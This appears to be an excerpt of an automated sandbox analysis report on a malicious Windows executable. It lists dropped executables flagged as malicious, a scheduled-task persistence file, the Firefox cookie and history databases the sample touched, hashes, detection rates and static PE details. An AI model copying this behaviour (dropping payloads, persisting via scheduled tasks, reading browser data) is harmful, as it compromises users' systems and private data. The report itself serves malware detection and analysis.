SHA-256:	A895ECFD7598045667492968636CD80E0827481DDB671469E043FF91B72592AD
SHA-512:	71C01688F163F49832969CAE9A8B2089AE8075B512B7BCB6852342E0073CCEC41C9B5CECC1C7C88143046FC095A181DC05EECC5DC34AFD0B401AB494C7AAA116
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+.....4.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...citkblqg...........:..............@...joxrtjxa. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2811392
Entropy (8bit):	6.449610491276854
Encrypted:	false
SSDEEP:	49152:tf/Opp2gr+F3QINzhjIZlu5dHUwiuTlG9Nto+0M/h18a8:tepp2gaXNzWOLHUwiuTlyGHMZ14
MD5:	CBA2CBFEF03546A0BE168D44EC410239
SHA1:	D96E5A9F3F6408B3B8D9F680FCD8CD888393D945
SHA-256:	A895ECFD7598045667492968636CD80E0827481DDB671469E043FF91B72592AD
SHA-512:	71C01688F163F49832969CAE9A8B2089AE8075B512B7BCB6852342E0073CCEC41C9B5CECC1C7C88143046FC095A181DC05EECC5DC34AFD0B401AB494C7AAA116
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+.....4.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...citkblqg...........:..............@...joxrtjxa. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsIIEBKJECFC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3272192
Entropy (8bit):	6.680629728094378
Encrypted:	false
SSDEEP:	98304:yYQHCVwb6AMfoFUqF7ZW6lJ3wcj1OgbJZaeiHb:yYQiVMALW3wcj1OgNZ0b
MD5:	569607D801E71B62F8EEBC6945DCA704
SHA1:	658D2BA8C0360155723823525EA6645F992A0534
SHA-256:	B3F6F15814858CE05B0F51D6ED40FC206A2690DAEDA9BAE5513B717255D07175
SHA-512:	9FB19DF24E6C9331E3498D5881B18568EB014BE17F01918EEB7B9EA4183CB38CA054115438CE41E26044F33FF232E4FFAE3BE8E8FCAE34548B6360642D1D1238
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@..........................02......2...@.................................W...k...........................X.1...............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...xbojpnva.@+......2+.................@...weqvlzma......1.......1.............@....taggant.0....2.."....1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsIIEBKJECFC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3272192
Entropy (8bit):	6.680629728094378
Encrypted:	false
SSDEEP:	98304:yYQHCVwb6AMfoFUqF7ZW6lJ3wcj1OgbJZaeiHb:yYQiVMALW3wcj1OgNZ0b
MD5:	569607D801E71B62F8EEBC6945DCA704
SHA1:	658D2BA8C0360155723823525EA6645F992A0534
SHA-256:	B3F6F15814858CE05B0F51D6ED40FC206A2690DAEDA9BAE5513B717255D07175
SHA-512:	9FB19DF24E6C9331E3498D5881B18568EB014BE17F01918EEB7B9EA4183CB38CA054115438CE41E26044F33FF232E4FFAE3BE8E8FCAE34548B6360642D1D1238
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@..........................02......2...@.................................W...k...........................X.1...............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...xbojpnva.@+......2+.................@...weqvlzma......1.......1.............@....taggant.0....2.."....1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsIIEBKJECFC.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.3809262545044008
Encrypted:	false
SSDEEP:	6:lfEPlVXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lBpllqt0:STf2RKQ1CGAFAjzvYRQVBLUt0
MD5:	05D1669D95114D966ABDF8FFDC993D6E
SHA1:	731F0F525CA958C34C503201BCCC6129DBCFFB19
SHA-256:	70F1F0D8A7E3F762EE7D780692094F4E18A6F412FD5FCEAEC8833CA36E33788C
SHA-512:	7A7D139C228A69B725AAF699F816B90C6E4EB880D00659CEEAE600042AA0E89BDF5F3AF0B8F2C849BF8EDFCB1B7D791759D4CB1A464C6CE83DC36E5F887827DE
Malicious:	false
Preview:	.....c..\..M.A.A...5F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4936)
Category:	downloaded
Size (bytes):	4941
Entropy (8bit):	5.821940696661473
Encrypted:	false
SSDEEP:	96:6TpPIBliaSR256Z6sYgIGW9z4H6666znlF7sgQ2e3ajzrBPBpW0affQfX:6TpPI3RvC6TgI790H6666j4gQbovtjz
MD5:	A4169A14FD53ADC8AD6EEC26942FEC6B
SHA1:	D5A00B2EF02EF8DBCC6CA05C68557D3AB7263BE3
SHA-256:	8FBFC286ECF1ABB4A2EC41EC21E91E1ACC249B75EFA1D0717834310FC7AEA977
SHA-512:	00491AB7D0E4E034555D6398FAF931458F767B2C5411CE3A5E54D25E0AFC9DDDAACFE5067BED678B42B77A01D44B70AA6929556C8DCDC5EEA4AA5D812BFA7642
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["kingda ka roller coaster","oscoda michigan fema staging area","nfl power rankings week 11","cod warzone black ops 6","asteroid approaching earth","disney deadpool wolverine","maxx crosby","43 monkeys escaped south carolina"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMXk0eWs3aGs1EihDYWxsIG9mIER1dHk6IEJsYWNrIE9wcyA2IOKAlCBWaWRlbyBnYW1lMvoGZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFFQUFBQUF3Q0FNQUFBQ1dsWXd0QUFBQWsxQk1WRVgvLy84QUFBQzZ1cnFibTV2VTFOUyt2cjdSMGRHZ29LRHU3dTVhV2xyRXhNUmVYbDdZMk5oeWNuS2pvNk9LaW9wVVZGU3JxNnRIUjBmMjl2Yms1T1JNVEV4QlFVR3pzN01jSEJ5Q2dvSmpZMlA4MnN6ZTN0NXBhV2s4UER4OGZId3FLaW8xTlRVT0RnNFdGaGFUazVQNmkxSDZVd0Q1V3dEM2VDNys5Ky8vVFFENTA3cjZ5YTM3bVdmNnNJMzh6cnY3NU5heEVBOXFBQUFCc2tsRVFWUklpZTJUMlhxYk1CQkc1eGNJSkJCbVg4dGl1OFNKRXp2dCt6OWRCM0FYSExjMzdWMDVGM3pTakR

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175125
Entropy (8bit):	5.554368182631651
Encrypted:	false
SSDEEP:	3072:fc3bXo9SLtl9UNXr+FqVBiFWGHj4LsBUnL7BB19HD4VHDgJElS5bOFYG4bhlth0j:fc33Ltl9UhtVBi8ij4LsBU7BB19HD+Db
MD5:	DE27580D28C778BDEB06F70676896EB2
SHA1:	B4110DAAA338236B713E45FC5C7D24D37DFF8832
SHA-256:	5446EE28C1524D6D01444EE57DC4649E45BE7EDF69FD8CB317D94E7E62AD0D38
SHA-512:	26A8E77282C167A66CEAC4C015AB56814A9F96D4A26E2BA5EFC8B9ECB1B14042A1E79FEBC553F81225ABA63BF7D0713AED7299936843786BCB1ABA4C5EFD2D86
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Ed7fPZdAP88.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTsAQtU7Exa5LSjaPuQb-KRl1yfMjA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.aj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var bj,cj,gj,jj,ij,ej,hj;bj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};cj=function(){_.Na()};gj=function(a,b){(_.dj\|\|(_.dj=new ej)).set(a,b);(_.fj\|\|(_.fj=new ej)).set(b,a)};jj=function(a){if(hj===void 0){const b=new ij([],{});hj=Array.prototype.concat.call([],b).length===1}hj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.kj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Gc};._.lj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.mj=function(a,b){a===0&&(a=_.lj(a,b));return a\|1};_.nj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.oj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.rj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.kj(a,b,d);var k=h[_.v]\|0,l=!!(4&k);if(!l){k=_.mj(k,b);var m=h,p=b;const q=!!(

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133058
Entropy (8bit):	5.435034464277516
Encrypted:	false
SSDEEP:	3072:fQkPdsBJT7bKwkztS6STFSz1nrm9SnXYK02i6o:frdUW5c5Sz1nK9SnoK08o
MD5:	2CAAB8200581098BBFD37AAC47430B86
SHA1:	63AEB365831F56716AD605FAEA3A823FEB495E91
SHA-256:	B44D4E5CE1DA5B8EFF0781BB5FF893D7166F925C3440C00567ECFF41CA060CF5
SHA-512:	7760C98CDB7BE7530DF2145F624B6C7726CCCB3E08D7C87A0E2D27A3BC5C67FF4857F17E09BBA0A4968044FE4A958DD735BAA58500BB81039BB77608BEE6354D
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944893511587344
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'811'456 bytes
MD5:	7eb28235d4f5c45e8b81d7e275380e94
SHA1:	ccb72493bab5b2c415eb5ff015790f7e2b372c96
SHA256:	9a2dfe9dbf3354fb20245f2ea2b210e1bbda08953243e6fefbf3b08e31fcf20a
SHA512:	deae474b112500677047ac72ebf364ff8d008646ba5d52b0d65772161e172617c0d12fc05abaaba0ce0b71661ec60a8ad64eb0c7443bc0c19ad05f6488e91711
SSDEEP:	24576:fZGEZpVAoJKtxiThm9s2Fux5ALMHWtyobwd+BBg+Zimqy7UIJpxeBZEeYbdaf3ww:fZ5ZpvJ/hl2S0M2tyo6+ng+kmX27fK
TLSH:	718533ABD99A1FEEEC55C7BC011E836AFF8142B206B48D9762F013524D235CEF913426
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa99000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FC3A8CCFB6Ah
jc 00007FC3A8CCFB81h
add byte ptr [eax], al
jmp 00007FC3A8CD1B65h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	c5fb8287ff9f3353a2af5d7f6ce697f7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
